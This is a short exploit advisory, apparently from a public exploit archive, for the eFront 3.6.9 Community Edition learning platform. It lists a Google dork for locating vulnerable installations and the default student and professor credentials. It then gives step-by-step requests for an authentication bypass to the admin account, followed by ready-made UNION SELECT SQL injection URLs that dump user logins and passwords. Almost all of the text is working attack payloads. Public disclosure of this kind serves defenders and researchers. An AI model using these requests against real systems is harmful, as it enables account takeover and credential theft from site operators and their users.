eFront 3.6.9 SQL Injection / Authentication Bypass

`# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities  
# Google Dork: "eFront (version 3.6.9)" inurl:index.php?ctg=*  
# Date: 5/09/2011  
# Public release: When 3.6.10 will be released  
# Author: IHTeam  
# Software Link: http://www.efrontlearning.net/download/download-efront.html  
# Tested on: efront_3.6.9_build11018  
# Original Advisory: http://iht.li/FWh  
# Advisory code: http://iht.li/p/0VV  
  
Default username and password:  
student:student  
professor:professor  
  
How to become admin:  
Request 1: /change_account.php?login=admin  
Request 2: /userpage.php  
OR  
simple use the [Switch account] option on top of the page;  
Now you are in admin area;  
  
SQL Injection:  
www/student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --  
www/professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --  
www/admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --  
  
  
`